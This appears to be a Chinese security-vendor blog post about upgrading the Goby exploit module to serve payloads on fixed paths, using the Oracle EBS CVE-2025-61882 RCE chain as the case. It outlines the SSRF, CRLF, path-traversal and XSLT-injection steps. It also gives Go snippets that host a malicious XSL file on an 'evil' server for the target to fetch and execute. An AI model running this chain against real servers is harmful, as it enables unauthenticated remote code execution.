技术分享 | EXP能力升级(第一期):从CVE-2025-61882看Goby如何破解路径固定难题

Gobybot  5天前

1763102821497_e73332f571d550ae1243316a4f591e93.png

前言

在漏洞研究与渗透测试的实战场景中,大量漏洞的利用依赖"目标服务器主动向指定实体发送请求"这一关键环节——无论是无回显漏洞的数据外带,还是反序列化漏洞的远程代码触发,都需要一个可被目标访问的公网实体作为交互节点。

然而多数安全从业者面临"公网环境缺失"的共性痛点:个人测试设备无公网IP,临时搭建公网服务器工作繁琐,严重影响漏洞研究效率。为解决这一核心难题,Goby EXP模块可以轻松调用公网服务器,例如:DNSlog、http request、恶意xm l、JNDI注入、反弹shell等,来实现各种方式的漏洞利用,大幅降低渗透测试成本和技术门槛。

但是在最近的一次日常的漏洞安全组的漏洞研究工作中,我们发现了一个自定义url场景的局限性:在目标只针对固定路径进行Payload解析的情况下,Goby EXP模块无法进行适配,本文主要介绍Goby EXP模块如何这一问题进行能力升级与突破。

从一次漏洞利用研究中引发的的路径适配难题

CVE-2025-61882是Oracle E-Business Suite (EBS)中的一个无需身份验证的远程代码执行漏洞链

根据公开技术研究文章分析,此CVE不是单一漏洞,而是多个漏洞的组合,利用的大致步骤如下:

image.png

SSRF 服务端请求伪造

攻击始于一个存在于 /OA_HTML/configurator/UiServlet 的服务端请求伪造(SSRF)漏洞。攻击者通过向该服务发送一个特制的xm l文档,就能让 Oracle E-Business Suite (EBS) 向任意指定的URL发起HTTP请求。这相当于攻击者拿到了一个可以在目标服务器内部发起网络请求的“信使”,为探测和攻击内部服务打开了第一道门

CRLF注入

初步的SSRF漏洞限制比较多,没有办法控制请求头和POST数据。为了突破限制,通过了CRLF注入能够在HTTP请求流中“伪造”出新的行,从而注入自定义的HTTP请求头和POST数据,无疑是对这个SSRF漏洞进行的增强

认证绕过

在获得一个功能强大的SSRF后,接下来需要去访问一个运行在服务器本地7201端口的内部服务,该服务绑定的私有IP与固定域apps.example.com映射关系,目标文件路径为/OA_HTML/ieshostedsurvey.jsp,由于/help/路径不需要身份验证,通过常见的../ 可以成功绕过认证白名单,所以最终SSRF的请求地址http://apps.example.com:7201/OA_HTML/help/../ieshostedsurvey.jsp

XSLT注入

攻击的最终阶段指向了 ieshostedsurvey.jsp 文件中的一个安全缺陷,该文件会根据HTTP请求中的Host头动态构建一个URL,用于获取并处理XSLT样式表,通过强大的SSRF可以完全控制请求头,使其指向自己控制的恶意服务器。最终,目标服务器会从这个恶意服务器下载并执行一个包含危险代码的XSL文件,由于 Java 中的 XSLT 处理可以调用模板和扩展函数,因此加载不受信任的样式表的能力允许攻击者实现任意远程代码执行。

这个漏洞代码执行的关键点是目标服务器会对恶意服务器下/OA_HTML/help/../ieshostedsurvey.xsl文件发起请求,并获取响应进行代码执行。

这个时候尝试使用HostFile方法进行url的自定义生成:

err := godclient.HostFile(randomStr+".xsl", `file_content`, func(fileURL string) error {
    // fileURL为文件上传的路径(http://evil.server/i/randstr/randomStr.xsl)
	resp, err := otherrequest(hostInfo, fileURL)
	if resp != nil {
		fmt.Println("true")
	}
	return err
})

研究到这一步,经历多次的利用失败结果后,我们发现服务在url生成环节会生成类似附带前缀的路径:i/123456/OA_HTML/ieshostedsurvey.xsl 路径,导致目标访问恶意服务器下/OA_HTML/ieshostedsurvey.xsl文件获取不到对应的payload。这一局限在面对“路径固定”的漏洞目标时会直接导致利用链条断裂。

固定前缀的设计初衷是为避免不同用户自定义路径冲突,但是在更多灵活化的实战场景下,当前能力无法做出相应的策略。针对这一问题,Goby EXP模块需要进行进一步的能力升级 。

新能力的突破:独立服务实例实现固定路径自定义

新版对Goby EXP模块进行了能力升级:新增独立服务实例(CreateCustomHttp 方法),保留原有核心优势,同时新增固定路径自定义能力,其核心功能矩阵如下:

image.png

CreateCustomHttp 方法带来两大关键改进:

其一,用户可直接纯自定义路径,如/OA_HTML/ieshostedsurvey.xsl,完全匹配漏洞目标的特定路径要求;

其二,独立服务实例避免了多用户自定义路径冲突问题——每个自定义路径对应独立的线程,即便不同用户设置相同路径,也会通过服务隔离确保目标服务器能精准识别并响应。

直观对比此前的HostFile方法,CreateCustomHttp方法提供了更加灵活的自定义方式:

HostFile 方法CreateCustomHttp 方法
多路由支持不支持一次可以创建多个路由
url格式url 格式固定为 {xxxx}/i/{随机id}/{filename} 支持设置任意的路由路径
响应只能返回指定的文件内容每个路由可以返回不同的内容
状态码仅支持返回200状态码支持 100-599 范围内的任意状态码
headers无法自定义支持设置任意的响应头
响应延迟不支持支持设置响应延迟时间
http方法不支持支持 GET、POST、PUT、DELETE 等多种方法

接下来我们来展示CreateCustomHttp方法在实际EXP编写场景下的应用:

CreateCustomHttp示例代码:

req := godclient.CustomHttpRouteReq{
			Routes: []godclient.CustomHttpRoute{
				{
					Path:        "/OA_HTML/ieshostedsurvey.xsl",
					Method:      "GET",
					ContentType: "text/html; charset=utf-8",
					Content:     xslPayload,
					StatusCode:  200,
				},
			},
			Timeout: 60,
		}
// 访问接口 evilServerHost/OA_HTML/ieshostedsurvey.xsl
evilServerHost, err := godclient.CreateCustomHttp(req)

针对上一章节的研究问题,在关键的利用环节使用CreateCustomHttp方法进行发包之后,通过访问远程服务器自定义的接口可以看到,自定义HTTP服务能够成功返回对应的XSLT样式表,实现效果如图所示:

image.png最终的Goby一键利用效果展示:

demoVideo1.gif除上述案例外,有了CreateCustomHttp方法后,Goby EXP模块还能灵活应对更多的实战化场景,欢迎表哥表姐们探索发掘。

总结

本文介绍了在针对CVE-2025-61882实战应用下的Goby EXP能力升级,那么针对自定义服务,我们还会结合更多的实战场景推出更多灵活应用的升级方案,比如:ftp、fake-mysql等,敬请期待第二期的技术分享吧~

同时也欢迎各位表哥表姐交流在Goby EXP环节遇到的问题,Bot会收集大家的问题建议作为我们下一步升级的方向哦~

参考

https://labs.watchtowr.com/well-well-well-its-another-day-oracle-e-business-suite-pre-auth-rce-chain-cve-2025-61882well-well-well-its-another-day-oracle-e-business-suite-pre-auth-rce-chain-cve-2025-61882/

image.png

最新评论

昵称
邮箱
提交评论